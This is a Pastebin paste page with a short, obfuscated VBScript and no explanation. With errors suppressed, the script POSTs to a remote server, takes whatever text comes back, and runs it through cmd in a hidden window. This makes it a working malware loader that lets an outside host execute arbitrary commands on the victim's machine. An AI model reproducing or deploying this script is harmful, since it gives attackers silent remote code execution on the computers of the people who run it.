Advertisement
Guest User

Untitled

a guest
Jan 5th, 2020
170
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.40 KB | None | 0 0
  1. on error resume next
  2. nxafqe1 = "WinHttp.WinHttpRequest.5.1"
  3. nxafqe4 = "Shell.Application"
  4. nxafqe5 = "cmd"
  5. set nxafqe9 = CreateObject(nxafqe4)
  6. dim nxafqe11
  7. Set nxafqe11 = CreateObject(nxafqe1)
  8. nxafqe11.Open "POST", "http://po103.psw14.mad1.serverwall.co", false
  9. nxafqe11.Send
  10. nxafqe10 = nxafqe11.responseText
  11. nxafqe11 = Wscript.ScriptName
  12. nxafqe9.ShellExecute nxafqe5,nxafqe10 & nxafqe11,nxafqe8,"",0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement